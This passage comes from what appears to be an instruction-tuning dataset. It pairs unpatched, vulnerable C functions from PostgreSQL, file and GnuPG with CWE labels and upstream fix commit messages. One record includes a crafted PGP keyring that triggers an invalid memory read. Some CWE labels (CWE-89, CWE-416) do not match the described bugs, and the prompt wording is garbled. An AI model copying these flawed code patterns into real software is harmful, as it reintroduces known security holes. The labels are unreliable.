DestNone;\n\t\t\t\tereport(DEBUG1,\n\t\t\t\t\t\t(errcode(ERRCODE_CONNECTION_DOES_NOT_EXIST),\n\t\t\t\t\t\t errmsg(\"unexpected EOF on client connection\")));\n\t\t\t}\n\t\t\treturn EOF;\n\t\t}\n\t}\n\n\t/*\n\t * Now that we've eaten the input message, check to see if we actually\n\t * want to do the function call or not. It's now safe to ereport(); we\n\t * won't lose sync with the frontend.\n\t */\n\tif (IsAbortedTransactionBlockState())\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_IN_FAILED_SQL_TRANSACTION),\n\t\t\t\t errmsg(\"current transaction is aborted, \"\n\t\t\t\t\t\t\"commands ignored until end of transaction block\")));\n\n\t/*\n\t * Now that we know we are in a valid transaction, set snapshot in case\n\t * needed by function itself or one of the datatype I/O routines.\n\t */\n\tPushActiveSnapshot(GetTransactionSnapshot());\n\n\t/*\n\t * Begin parsing the buffer contents.\n\t */\n\tif (PG_PROTOCOL_MAJOR(FrontendProtocol) < 3)\n\t\t(void) pq_getmsgstring(msgBuf); /* dummy string */\n\n\tfid = (Oid) pq_getmsgint(msgBuf, 4);\t\t/* function oid */\n\n\t/*\n\t * There used to be a lame attempt at caching lookup info here. Now we\n\t * just do the lookups on every call.\n\t */\n\tfip = &my_fp;\n\tfetch_fp_info(fid, fip);\n\n\t/* Log as soon as we have the function OID and name */\n\tif (log_statement == LOGSTMT_ALL)\n\t{\n\t\tereport(LOG,\n\t\t\t\t(errmsg(\"fastpath function call: \\\"%s\\\" (OID %u)\",\n\t\t\t\t\t\tfip->fname, fid)));\n\t\twas_logged = true;\n\t}\n\n\t/*\n\t * Check permission to access and call function. Since we didn't go\n\t * through a normal name lookup, we need to check schema usage too.\n\t */\n\taclresult = pg_namespace_aclcheck(fip->namespace, GetUserId(), ACL_USAGE);\n\tif (aclresult != ACLCHECK_OK)\n\t\taclcheck_error(aclresult, ACL_KIND_NAMESPACE,\n\t\t\t\t\t get_namespace_name(fip->namespace));\n\tInvokeNamespaceSearchHook(fip->namespace, true);\n\n\taclresult = pg_proc_aclcheck(fid, GetUserId(), ACL_EXECUTE);\n\tif (aclresult != ACLCHECK_OK)\n\t\taclcheck_error(aclresult, ACL_KIND_PROC,\n\t\t\t\t\t get_func_name(fid));\n\tInvokeFunctionExecuteHook(fid);\n\n\t/*\n\t * Prepare function call info block and insert arguments.\n\t *\n\t * Note: for now we pass collation = InvalidOid, so collation-sensitive\n\t * functions can't be called this way. Perhaps we should pass\n\t * DEFAULT_COLLATION_OID, instead?\n\t */\n\tInitFunctionCallInfoData(fcinfo, &fip->flinfo, 0, InvalidOid, NULL, NULL);\n\n\tif (PG_PROTOCOL_MAJOR(FrontendProtocol) >= 3)\n\t\trformat = parse_fcall_arguments(msgBuf, fip, &fcinfo);\n\telse\n\t\trformat = parse_fcall_arguments_20(msgBuf, fip, &fcinfo);\n\n\t/* Verify we reached the end of the message where expected. */\n\tpq_getmsgend(msgBuf);\n\n\t/*\n\t * If func is strict, must not call it for null args.\n\t */\n\tcallit = true;\n\tif (fip->flinfo.fn_strict)\n\t{\n\t\tint\t\t\ti;\n\n\t\tfor (i = 0; i < fcinfo.nargs; i++)\n\t\t{\n\t\t\tif (fcinfo.argnull[i])\n\t\t\t{\n\t\t\t\tcallit = false;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\tif (callit)\n\t{\n\t\t/* Okay, do it ... */\n\t\tretval = FunctionCallInvoke(&fcinfo);\n\t}\n\telse\n\t{\n\t\tfcinfo.isnull = true;\n\t\tretval = (Datum) 0;\n\t}\n\n\t/* ensure we do at least one CHECK_FOR_INTERRUPTS per function call */\n\tCHECK_FOR_INTERRUPTS();\n\n\tSendFunctionResult(retval, fcinfo.isnull, fip->rettype, rformat);\n\n\t/* We no longer need the snapshot */\n\tPopActiveSnapshot();\n\n\t/*\n\t * Emit duration logging if appropriate.\n\t */\n\tswitch (check_log_duration(msec_str, was_logged))\n\t{\n\t\tcase 1:\n\t\t\tereport(LOG,\n\t\t\t\t\t(errmsg(\"duration: %s ms\", msec_str)));\n\t\t\tbreak;\n\t\tcase 2:\n\t\t\tereport(LOG,\n\t\t\t\t\t(errmsg(\"duration: %s ms fastpath function call: \\\"%s\\\" (OID %u)\",\n\t\t\t\t\t\t\tmsec_str, fip->fname, fid)));\n\t\t\tbreak;\n\t}\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-89'], 'message': 'Be more careful to not lose sync in the FE/BE protocol.\n\nIf any error occurred while we were in the middle of reading a protocol\nmessage from the client, we could lose sync, and incorrectly try to\ninterpret a part of another message as a new protocol message. That will\nusually lead to an \"invalid frontend message\" error that terminates the\nconnection. However, this is a security issue because an attacker might\nbe able to deliberately cause an error, inject a Query message in what's\nsupposed to be just user data, and have the server execute it.\n\nWe were quite careful to not have CHECK_FOR_INTERRUPTS() calls or other\noperations that could ereport(ERROR) in the middle of processing a message,\nbut a query cancel interrupt or statement timeout could nevertheless cause\nit to happen. Also, the V2 fastpath and COPY handling were not so careful.\nIt's very difficult to recover in the V2 COPY protocol, so we will just\nterminate the connection on error. In practice, that's what happened\npreviously anyway, as we lost protocol sync.\n\nTo fix, add a new variable in pqcomm.c, PqCommReadingMsg, that is set\nwhenever we're in the middle of reading a message. When it's set, we cannot\nsafely ERROR out and continue running, because we might've read only part\nof a message. PqCommReadingMsg acts somewhat similarly to critical sections\nin that if an error occurs while it's set, the error handler will force the\nconnection to be terminated, as if the error was FATAL. It's not\nimplemented by promoting ERROR to FATAL in elog.c, like ERROR is promoted\nto PANIC in critical sections, because we want to be able to use\nPG_TRY/CATCH to recover and regain protocol sync. pq_getmessage() takes\nadvantage of that to prevent an OOM error from terminating the connection.\n\nTo prevent unnecessary connection terminations, add a holdoff mechanism\nsimilar to HOLD/RESUME_INTERRUPTS() that can be used hold off query cancel\ninterrupts, but still allow die interrupts. The rules on which interrupts\nare processed when are now a bit more complicated, so refactor\nProcessInterrupts() and the calls to it in signal handlers so that the\nsignal handlers always call it if ImmediateInterruptOK is set, and\nProcessInterrupts() can decide to not do anything if the other conditions\nare not met.\n\nReported by Emil Lenngren. Patch reviewed by Noah Misch and Andres Freund.\nBackpatch to all supported versions.\n\nSecurity: CVE-2015-0244'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: doshn(struct magic_set *ms, int clazz, int swap, int fd, off_t off, int num,\n size_t size, off_t fsize, int *flags, int mach, int strtab)\n{\n\tElf32_Shdr sh32;\n\tElf64_Shdr sh64;\n\tint stripped = 1;\n\tsize_t nbadcap = 0;\n\tvoid *nbuf;\n\toff_t noff, coff, name_off;\n\tuint64_t cap_hw1 = 0;\t/* SunOS 5.x hardware capabilites */\n\tuint64_t cap_sf1 = 0;\t/* SunOS 5.x software capabilites */\n\tchar name[50];\n\n\tif (size != xsh_sizeof) {\n\t\tif (file_printf(ms, \", corrupted section header size\") == -1)\n\t\t\treturn -1;\n\t\treturn 0;\n\t}\n\n\t/* Read offset of name section to be able to read section names later */\n\tif (pread(fd, xsh_addr, xsh_sizeof, off + size * strtab) == -1) {\n\t\tfile_badread(ms);\n\t\treturn -1;\n\t}\n\tname_off = xsh_offset;\n\n\tfor ( ; num; num--) {\n\t\t/* Read the name of this section. */\n\t\tif (pread(fd, name, sizeof(name), name_off + xsh_name) == -1) {\n\t\t\tfile_badread(ms);\n\t\t\treturn -1;\n\t\t}\n\t\tname[sizeof(name) - 1] = '\\0';\n\t\tif (strcmp(name, \".debug_info\") == 0)\n\t\t\tstripped = 0;\n\n\t\tif (pread(fd, xsh_addr, xsh_sizeof, off) == -1) {\n\t\t\tfile_badread(ms);\n\t\t\treturn -1;\n\t\t}\n\t\toff += size;\n\n\t\t/* Things we can determine before we seek */\n\t\tswitch (xsh_type) {\n\t\tcase SHT_SYMTAB:\n#if 0\n\t\tcase SHT_DYNSYM:\n#endif\n\t\t\tstripped = 0;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tif (fsize != SIZE_UNKNOWN && xsh_offset > fsize) {\n\t\t\t\t/* Perhaps warn here */\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\t/* Things we can determine when we seek */\n\t\tswitch (xsh_type) {\n\t\tcase SHT_NOTE:\n\t\t\tif ((nbuf = malloc(xsh_size)) == NULL) {\n\t\t\t\tfile_error(ms, errno, \"Cannot allocate memory\"\n\t\t\t\t \" for note\");\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\tif (pread(fd, nbuf, xsh_size, xsh_offset) == -1) {\n\t\t\t\tfile_badread(ms);\n\t\t\t\tfree(nbuf);\n\t\t\t\treturn -1;\n\t\t\t}\n\n\t\t\tnoff = 0;\n\t\t\tfor (;;) {\n\t\t\t\tif (noff >= (off_t)xsh_size)\n\t\t\t\t\tbreak;\n\t\t\t\tnoff = donote(ms, nbuf, (size_t)noff,\n\t\t\t\t xsh_size, clazz, swap, 4, flags);\n\t\t\t\tif (noff == 0)\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\tfree(nbuf);\n\t\t\tbreak;\n\t\tcase SHT_SUNW_cap:\n\t\t\tswitch (mach) {\n\t\t\tcase EM_SPARC:\n\t\t\tcase EM_SPARCV9:\n\t\t\tcase EM_IA_64:\n\t\t\tcase EM_386:\n\t\t\tcase EM_AMD64:\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tgoto skip;\n\t\t\t}\n\n\t\t\tif (nbadcap > 5)\n\t\t\t\tbreak;\n\t\t\tif (lseek(fd, xsh_offset, SEEK_SET) == (off_t)-1) {\n\t\t\t\tfile_badseek(ms);\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\tcoff = 0;\n\t\t\tfor (;;) {\n\t\t\t\tElf32_Cap cap32;\n\t\t\t\tElf64_Cap cap64;\n\t\t\t\tchar cbuf[/*CONSTCOND*/\n\t\t\t\t MAX(sizeof cap32, sizeof cap64)];\n\t\t\t\tif ((coff += xcap_sizeof) > (off_t)xsh_size)\n\t\t\t\t\tbreak;\n\t\t\t\tif (read(fd, cbuf, (size_t)xcap_sizeof) !=\n\t\t\t\t (ssize_t)xcap_sizeof) {\n\t\t\t\t\tfile_badread(ms);\n\t\t\t\t\treturn -1;\n\t\t\t\t}\n\t\t\t\tif (cbuf[0] == 'A') {\n#ifdef notyet\n\t\t\t\t\tchar *p = cbuf + 1;\n\t\t\t\t\tuint32_t len, tag;\n\t\t\t\t\tmemcpy(&len, p, sizeof(len));\n\t\t\t\t\tp += 4;\n\t\t\t\t\tlen = getu32(swap, len);\n\t\t\t\t\tif (memcmp(\"gnu\", p, 3) != 0) {\n\t\t\t\t\t if (file_printf(ms,\n\t\t\t\t\t\t\", unknown capability %.3s\", p)\n\t\t\t\t\t\t== -1)\n\t\t\t\t\t\treturn -1;\n\t\t\t\t\t break;\n\t\t\t\t\t}\n\t\t\t\t\tp += strlen(p) + 1;\n\t\t\t\t\ttag = *p++;\n\t\t\t\t\tmemcpy(&len, p, sizeof(len));\n\t\t\t\t\tp += 4;\n\t\t\t\t\tlen = getu32(swap, len);\n\t\t\t\t\tif (tag != 1) {\n\t\t\t\t\t if (file_printf(ms, \", unknown gnu\"\n\t\t\t\t\t\t\" capability tag %d\", tag)\n\t\t\t\t\t\t== -1)\n\t\t\t\t\t\treturn -1;\n\t\t\t\t\t break;\n\t\t\t\t\t}\n\t\t\t\t\t// gnu attributes \n#endif\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\t(void)memcpy(xcap_addr, cbuf, xcap_sizeof);\n\t\t\t\tswitch (xcap_tag) {\n\t\t\t\tcase CA_SUNW_NULL:\n\t\t\t\t\tbreak;\n\t\t\t\tcase CA_SUNW_HW_1:\n\t\t\t\t\tcap_hw1 |= xcap_val;\n\t\t\t\t\tbreak;\n\t\t\t\tcase CA_SUNW_SF_1:\n\t\t\t\t\tcap_sf1 |= xcap_val;\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tif (file_printf(ms,\n\t\t\t\t\t \", with unknown capability \"\n\t\t\t\t\t \"0x%\" INT64_T_FORMAT \"x = 0x%\"\n\t\t\t\t\t INT64_T_FORMAT \"x\",\n\t\t\t\t\t (unsigned long long)xcap_tag,\n\t\t\t\t\t (unsigned long long)xcap_val) == -1)\n\t\t\t\t\t\treturn -1;\n\t\t\t\t\tif (nbadcap++ > 2)\n\t\t\t\t\t\tcoff = xsh_size;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\t/*FALLTHROUGH*/\n\t\tskip:\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tif (file_printf(ms, \", %sstripped\", stripped ? \"\" : \"not \") == -1)\n\t\treturn -1;\n\tif (cap_hw1) {\n\t\tconst cap_desc_t *cdp;\n\t\tswitch (mach) {\n\t\tcase EM_SPARC:\n\t\tcase EM_SPARC32PLUS:\n\t\tcase EM_SPARCV9:\n\t\t\tcdp = cap_desc_sparc;\n\t\t\tbreak;\n\t\tcase EM_386:\n\t\tcase EM_IA_64:\n\t\tcase EM_AMD64:\n\t\t\tcdp = cap_desc_386;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tcdp = NULL;\n\t\t\tbreak;\n\t\t}\n\t\tif (file_printf(ms, \", uses\") == -1)\n\t\t\treturn -1;\n\t\tif (cdp) {\n\t\t\twhile (cdp->cd_name) {\n\t\t\t\tif (cap_hw1 & cdp->cd_mask) {\n\t\t\t\t\tif (file_printf(ms,\n\t\t\t\t\t \" %s\", cdp->cd_name) == -1)\n\t\t\t\t\t\treturn -1;\n\t\t\t\t\tcap_hw1 &= ~cdp->cd_mask;\n\t\t\t\t}\n\t\t\t\t++cdp;\n\t\t\t}\n\t\t\tif (cap_hw1)\n\t\t\t\tif (file_printf(ms,\n\t\t\t\t \" unknown hardware capability 0x%\"\n\t\t\t\t INT64_T_FORMAT \"x\",\n\t\t\t\t (unsigned long long)cap_hw1) == -1)\n\t\t\t\t\treturn -1;\n\t\t} else {\n\t\t\tif (file_printf(ms,\n\t\t\t \" hardware capability 0x%\" INT64_T_FORMAT \"x\",\n\t\t\t (unsigned long long)cap_hw1) == -1)\n\t\t\t\treturn -1;\n\t\t}\n\t}\n\tif (cap_sf1) {\n\t\tif (cap_sf1 & SF1_SUNW_FPUSED) {\n\t\t\tif (file_printf(ms,\n\t\t\t (cap_sf1 & SF1_SUNW_FPKNWN)\n\t\t\t ? \", uses frame pointer\"\n\t\t\t : \", not known to use frame pointer\") == -1)\n\t\t\t\treturn -1;\n\t\t}\n\t\tcap_sf1 &= ~SF1_SUNW_MASK;\n\t\tif (cap_sf1)\n\t\t\tif (file_printf(ms,\n\t\t\t \", with unknown software capability 0x%\"\n\t\t\t INT64_T_FORMAT \"x\",\n\t\t\t (unsigned long long)cap_sf1) == -1)\n\t\t\t\treturn -1;\n\t}\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-703'], 'message': 'Bail out on partial reads, from Alexander Cherepanov'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: keyring_get_keyblock (KEYRING_HANDLE hd, KBNODE *ret_kb)\n{\n PACKET *pkt;\n int rc;\n KBNODE keyblock = NULL, node, lastnode;\n IOBUF a;\n int in_cert = 0;\n int pk_no = 0;\n int uid_no = 0;\n int save_mode;\n\n if (ret_kb)\n *ret_kb = NULL;\n\n if (!hd->found.kr)\n return -1; /* no successful search */\n\n a = iobuf_open (hd->found.kr->fname);\n if (!a)\n {\n\tlog_error(_(\"can't open '%s'\\n\"), hd->found.kr->fname);\n\treturn GPG_ERR_KEYRING_OPEN;\n }\n\n if (iobuf_seek (a, hd->found.offset) ) {\n log_error (\"can't seek '%s'\\n\", hd->found.kr->fname);\n\tiobuf_close(a);\n\treturn GPG_ERR_KEYRING_OPEN;\n }\n\n pkt = xmalloc (sizeof *pkt);\n init_packet (pkt);\n hd->found.n_packets = 0;;\n lastnode = NULL;\n save_mode = set_packet_list_mode(0);\n while ((rc=parse_packet (a, pkt)) != -1) {\n hd->found.n_packets++;\n if (gpg_err_code (rc) == GPG_ERR_UNKNOWN_PACKET) {\n\t free_packet (pkt);\n\t init_packet (pkt);\n\t continue;\n\t}\n if (gpg_err_code (rc) == GPG_ERR_LEGACY_KEY)\n break; /* Upper layer needs to handle this. */\n\tif (rc) {\n log_error (\"keyring_get_keyblock: read error: %s\\n\",\n gpg_strerror (rc) );\n rc = GPG_ERR_INV_KEYRING;\n break;\n }\n\tif (pkt->pkttype == PKT_COMPRESSED) {\n\t log_error (\"skipped compressed packet in keyring\\n\");\n\t free_packet(pkt);\n\t init_packet(pkt);\n\t continue;\n }\n\n if (in_cert && (pkt->pkttype == PKT_PUBLIC_KEY\n || pkt->pkttype == PKT_SECRET_KEY)) {\n hd->found.n_packets--; /* fix counter */\n break; /* ready */\n }\n\n in_cert = 1;\n if (pkt->pkttype == PKT_RING_TRUST)\n {\n /*(this code is duplicated after the loop)*/\n if ( lastnode\n && lastnode->pkt->pkttype == PKT_SIGNATURE\n && (pkt->pkt.ring_trust->sigcache & 1) ) {\n /* This is a ring trust packet with a checked signature\n * status cache following directly a signature paket.\n * Set the cache status into that signature packet. */\n PKT_signature *sig = lastnode->pkt->pkt.signature;\n\n sig->flags.checked = 1;\n sig->flags.valid = !!(pkt->pkt.ring_trust->sigcache & 2);\n }\n /* Reset LASTNODE, so that we set the cache status only from\n * the ring trust packet immediately following a signature. */\n lastnode = NULL;\n\t free_packet(pkt);\n\t init_packet(pkt);\n\t continue;\n }\n\n\n node = lastnode = new_kbnode (pkt);\n if (!keyblock)\n keyblock = node;\n else\n add_kbnode (keyblock, node);\n switch (pkt->pkttype)\n {\n case PKT_PUBLIC_KEY:\n case PKT_PUBLIC_SUBKEY:\n case PKT_SECRET_KEY:\n case PKT_SECRET_SUBKEY:\n if (++pk_no == hd->found.pk_no)\n node->flag |= 1;\n break;\n\n case PKT_USER_ID:\n if (++uid_no == hd->found.uid_no)\n node->flag |= 2;\n break;\n\n default:\n break;\n }\n\n pkt = xmalloc (sizeof *pkt);\n init_packet(pkt);\n }\n set_packet_list_mode(save_mode);\n\n if (rc == -1 && keyblock)\n\trc = 0; /* got the entire keyblock */\n\n if (rc || !ret_kb)\n\trelease_kbnode (keyblock);\n else {\n /*(duplicated form the loop body)*/\n if ( pkt && pkt->pkttype == PKT_RING_TRUST\n && lastnode\n && lastnode->pkt->pkttype == PKT_SIGNATURE\n && (pkt->pkt.ring_trust->sigcache & 1) ) {\n PKT_signature *sig = lastnode->pkt->pkt.signature;\n sig->flags.checked = 1;\n sig->flags.valid = !!(pkt->pkt.ring_trust->sigcache & 2);\n }\n\t*ret_kb = keyblock;\n }\n free_packet (pkt);\n xfree (pkt);\n iobuf_close(a);\n\n /* Make sure that future search operations fail immediately when\n * we know that we are working on a invalid keyring\n */\n if (gpg_err_code (rc) == GPG_ERR_INV_KEYRING)\n hd->current.error = rc;\n\n return rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'gpg: Prevent an invalid memory read using a garbled keyring.\n\n* g10/keyring.c (keyring_get_keyblock): Whitelist allowed packet\ntypes.\n* g10/keydb.c (parse_keyblock_image): Ditto.\n--\n\nThe keyring DB code did not reject packets which don't belong into a\nkeyring. If for example the keyblock contains a literal data packet\nit is expected that the processing code stops at the data packet and\nreads from the input stream which is referenced from the data packets.\nObviously the keyring processing code does not and cannot do that.\nHowever, when exporting this messes up the IOBUF and leads to an\ninvalid read of sizeof (int).\n\nWe now skip all packets which are not allowed in a keyring.\n\nReported-by: Hanno B\u00f6ck \n\nTest data:\n\n gpg2 --no-default-keyring --keyring FILE --export >/dev/null\n\nWith this unpacked data for FILE:\n\n-----BEGIN PGP ARMORED FILE-----\n\nmI0EVNP2zQEEALvETPVDCJDBXkegF4esiV1fqlne40yJnCmJeDEJYocwFPXfFA86\nsSGjInzgDbpbC9gQPwq91Qe9x3Vy81CkyVonPOejhINlzfpzqAAa3A6viJccZTwt\nDJ8E/I9jg53sbYW8q+VgfLn1hlggH/XQRT0HkXMP5y9ClURYnTsNwJhXABEBAAGs\nCXRlc3QgdGVzdIi5BBMBCgAjBQJU0/bNAhsDBwsJCAcDAgEGFQgCCQoLBBYCAwEC\nHgECF4AACgkQlsmuCapsqYLvtQP/byY0tM0Lc3moftbHQZ2eHj9ykLjsCjeMDfPx\nkZUUtUS3HQaqgZLZOeqPjM7XgGh5hJsd9pfhmRWJ0x+iGB47XQNpRTtdLBV/WMCS\nl5z3uW7e9Md7QVUVuSlJnBgQHTS6EgP8JQadPkAiF+jgpJZXP+gFs2j3gobS0qUF\neyTtxs+wAgAD\n=uIt9\n-----END PGP ARMORED FILE-----\n\nSigned-off-by: Werner Koch '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: block_filter (void *opaque, int control, iobuf_t chain, byte * buffer,\n\t size_t * ret_len)\n{\n block_filter_ctx_t *a = opaque;\n char *buf = (char *)buffer;\n size_t size = *ret_len;\n int c, needed, rc = 0;\n char *p;\n\n if (control == IOBUFCTRL_UNDERFLOW)\n {\n size_t n = 0;\n\n p = buf;\n assert (size);\t\t/* need a buffer */\n if (a->eof)\t\t/* don't read any further */\n\trc = -1;\n while (!rc && size)\n\t{\n\t if (!a->size)\n\t {\t\t\t/* get the length bytes */\n\t if (a->partial == 2)\n\t\t{\n\t\t a->eof = 1;\n\t\t if (!n)\n\t\t rc = -1;\n\t\t break;\n\t\t}\n\t else if (a->partial)\n\t\t{\n\t\t /* These OpenPGP introduced huffman like encoded length\n\t\t * bytes are really a mess :-( */\n\t\t if (a->first_c)\n\t\t {\n\t\t c = a->first_c;\n\t\t a->first_c = 0;\n\t\t }\n\t\t else if ((c = iobuf_get (chain)) == -1)\n\t\t {\n\t\t log_error (\"block_filter: 1st length byte missing\\n\");\n\t\t rc = GPG_ERR_BAD_DATA;\n\t\t break;\n\t\t }\n\t\t if (c < 192)\n\t\t {\n\t\t a->size = c;\n\t\t a->partial = 2;\n\t\t if (!a->size)\n\t\t\t{\n\t\t\t a->eof = 1;\n\t\t\t if (!n)\n\t\t\t rc = -1;\n\t\t\t break;\n\t\t\t}\n\t\t }\n\t\t else if (c < 224)\n\t\t {\n\t\t a->size = (c - 192) * 256;\n\t\t if ((c = iobuf_get (chain)) == -1)\n\t\t\t{\n\t\t\t log_error\n\t\t\t (\"block_filter: 2nd length byte missing\\n\");\n\t\t\t rc = GPG_ERR_BAD_DATA;\n\t\t\t break;\n\t\t\t}\n\t\t a->size += c + 192;\n\t\t a->partial = 2;\n\t\t if (!a->size)\n\t\t\t{\n\t\t\t a->eof = 1;\n\t\t\t if (!n)\n\t\t\t rc = -1;\n\t\t\t break;\n\t\t\t}\n\t\t }\n\t\t else if (c == 255)\n\t\t {\n\t\t a->size = iobuf_get (chain) << 24;\n\t\t a->size |= iobuf_get (chain) << 16;\n\t\t a->size |= iobuf_get (chain) << 8;\n\t\t if ((c = iobuf_get (chain)) == -1)\n\t\t\t{\n\t\t\t log_error (\"block_filter: invalid 4 byte length\\n\");\n\t\t\t rc = GPG_ERR_BAD_DATA;\n\t\t\t break;\n\t\t\t}\n\t\t a->size |= c;\n a->partial = 2;\n if (!a->size)\n {\n a->eof = 1;\n if (!n)\n rc = -1;\n break;\n\t\t\t}\n\t\t }\n\t\t else\n\t\t { /* Next partial body length. */\n\t\t a->size = 1 << (c & 0x1f);\n\t\t }\n\t\t /* log_debug(\"partial: ctx=%p c=%02x size=%u\\n\", a, c, a->size); */\n\t\t}\n\t else\n\t\tBUG ();\n\t }\n\n\t while (!rc && size && a->size)\n\t {\n\t needed = size < a->size ? size : a->size;\n\t c = iobuf_read (chain, p, needed);\n\t if (c < needed)\n\t\t{\n\t\t if (c == -1)\n\t\t c = 0;\n\t\t log_error\n\t\t (\"block_filter %p: read error (size=%lu,a->size=%lu)\\n\",\n\t\t a, (ulong) size + c, (ulong) a->size + c);\n\t\t rc = GPG_ERR_BAD_DATA;\n\t\t}\n\t else\n\t\t{\n\t\t size -= c;\n\t\t a->size -= c;\n\t\t p += c;\n\t\t n += c;\n\t\t}\n\t }\n\t}\n *ret_len = n;\n }\n else if (control == IOBUFCTRL_FLUSH)\n {\n if (a->partial)\n\t{\t\t\t/* the complicated openpgp scheme */\n\t size_t blen, n, nbytes = size + a->buflen;\n\n\t assert (a->buflen <= OP_MIN_PARTIAL_CHUNK);\n\t if (nbytes < OP_MIN_PARTIAL_CHUNK)\n\t {\n\t /* not enough to write a partial block out; so we store it */\n\t if (!a->buffer)\n\t\ta->buffer = xmalloc (OP_MIN_PARTIAL_CHUNK);\n\t memcpy (a->buffer + a->buflen, buf, size);\n\t a->buflen += size;\n\t }\n\t else\n\t {\t\t\t/* okay, we can write out something */\n\t /* do this in a loop to use the most efficient block lengths */\n\t p = buf;\n\t do\n\t\t{\n\t\t /* find the best matching block length - this is limited\n\t\t * by the size of the internal buffering */\n\t\t for (blen = OP_MIN_PARTIAL_CHUNK * 2,\n\t\t c = OP_MIN_PARTIAL_CHUNK_2POW + 1; blen <= nbytes;\n\t\t blen *= 2, c++)\n\t\t ;\n\t\t blen /= 2;\n\t\t c--;\n\t\t /* write the partial length header */\n\t\t assert (c <= 0x1f);\t/*;-) */\n\t\t c |= 0xe0;\n\t\t iobuf_put (chain, c);\n\t\t if ((n = a->buflen))\n\t\t {\t\t/* write stuff from the buffer */\n\t\t assert (n == OP_MIN_PARTIAL_CHUNK);\n\t\t if (iobuf_write (chain, a->buffer, n))\n\t\t\trc = gpg_error_from_syserror ();\n\t\t a->buflen = 0;\n\t\t nbytes -= n;\n\t\t }\n\t\t if ((n = nbytes) > blen)\n\t\t n = blen;\n\t\t if (n && iobuf_write (chain, p, n))\n\t\t rc = gpg_error_from_syserror ();\n\t\t p += n;\n\t\t nbytes -= n;\n\t\t}\n\t while (!rc && nbytes >= OP_MIN_PARTIAL_CHUNK);\n\t /* store the rest in the buffer */\n\t if (!rc && nbytes)\n\t\t{\n\t\t assert (!a->buflen);\n\t\t assert (nbytes < OP_MIN_PARTIAL_CHUNK);\n\t\t if (!a->buffer)\n\t\t a->buffer = xmalloc (OP_MIN_PARTIAL_CHUNK);\n\t\t memcpy (a->buffer, p, nbytes);\n\t\t a->buflen = nbytes;\n\t\t}\n\t }\n\t}\n else\n\tBUG ();\n }\n else if (control == IOBUFCTRL_INIT)\n {\n if (DBG_IOBUF)\n\tlog_debug (\"init block_filter %p\\n\", a);\n if (a->partial)\n\ta->count = 0;\n else if (a->use == 1)\n\ta->count = a->size = 0;\n else\n\ta->count = a->size;\t/* force first length bytes */\n a->eof = 0;\n a->buffer = NULL;\n a->buflen = 0;\n }\n else if (control == IOBUFCTRL_DESC)\n {\n *(char **) buf = \"block_filter\";\n }\n else if (control == IOBUFCTRL_FREE)\n {\n if (a->use == 2)\n\t{\t\t\t/* write the end markers */\n\t if (a->partial)\n\t {\n\t u32 len;\n\t /* write out the remaining bytes without a partial header\n\t * the length of this header may be 0 - but if it is\n\t * the first block we are not allowed to use a partial header\n\t * and frankly we can't do so, because this length must be\n\t * a power of 2. This is _really_ complicated because we\n\t * have to check the possible length of a packet prior\n\t * to it's creation: a chain of filters becomes complicated\n\t * and we need a lot of code to handle compressed packets etc.\n\t * :-(((((((\n\t */\n\t /* construct header */\n\t len = a->buflen;\n\t /*log_debug(\"partial: remaining length=%u\\n\", len ); */\n\t if (len < 192)\n\t\trc = iobuf_put (chain, len);\n\t else if (len < 8384)\n\t\t{\n\t\t if (!(rc = iobuf_put (chain, ((len - 192) / 256) + 192)))\n\t\t rc = iobuf_put (chain, ((len - 192) % 256));\n\t\t}\n\t else\n\t\t{\t\t/* use a 4 byte header */\n\t\t if (!(rc = iobuf_put (chain, 0xff)))\n\t\t if (!(rc = iobuf_put (chain, (len >> 24) & 0xff)))\n\t\t if (!(rc = iobuf_put (chain, (len >> 16) & 0xff)))\n\t\t\tif (!(rc = iobuf_put (chain, (len >> 8) & 0xff)))\n\t\t\t rc = iobuf_put (chain, len & 0xff);\n\t\t}\n\t if (!rc && len)\n\t\trc = iobuf_write (chain, a->buffer, len);\n\t if (rc)\n\t\t{\n\t\t log_error (\"block_filter: write error: %s\\n\",\n\t\t\t strerror (errno));\n\t\t rc = gpg_error_from_syserror ();\n\t\t}\n\t xfree (a->buffer);\n\t a->buffer = NULL;\n\t a->buflen = 0;\n\t }\n\t else\n\t BUG ();\n\t}\n else if (a->size)\n\t{\n\t log_error (\"block_filter: pending bytes!\\n\");\n\t}\n if (DBG_IOBUF)\n\tlog_debug (\"free block_filter %p\\n\", a);\n xfree (a);\t\t/* we can free our context now */\n }\n\n return rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'Use inline functions to convert buffer data to scalars.\n\n* common/host2net.h (buf16_to_ulong, buf16_to_uint): New.\n(buf16_to_ushort, buf16_to_u16): New.\n(buf32_to_size_t, buf32_to_ulong, buf32_to_uint, 